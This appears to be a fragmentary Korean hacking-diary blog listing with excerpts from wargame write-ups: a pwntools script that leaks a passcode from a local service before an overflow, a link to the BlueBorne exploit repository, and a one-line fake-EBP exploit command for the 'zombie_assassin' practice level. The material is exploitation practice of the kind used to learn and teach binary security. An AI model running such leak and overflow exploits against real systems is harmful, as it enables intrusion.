고졸백수해킹일기

바이너리를 보면 무슨 패스코드 파일을 읽어와서 input값이랑 비교하는데target메뉴 이후 입력받는 과정에서 릭을 하면 passcode를 읽어올 수 있다.아래는 릭 코드#####leak######from pwn import *import times = remote('localhost',1129) print s.recv(1024)s.sendline('target')time.sleep(1)print s.recv(1024)s.sendline('1094795585.000000/1094795585.000000')time.sleep(1)print s.recv()s.sendline('A'*512)time.sleep(1)print s.recv(4096) 이후 실행되는 start_routine이라는 곳에서 오버플로가 ..

https://github.com/ArmisSecurity/blueborne

fake EBP./zombie_assassin `python -c 'print "\x90"*4+"\xe0\x8a\x05\x40"+"\xe0\x91\x03\x40"+"\xf9\xbf\x0f\x40"+"\x90"*24+"\x90\xfa\xff\xbf"+"\xdf\x84\x04\x08"'` no place to hide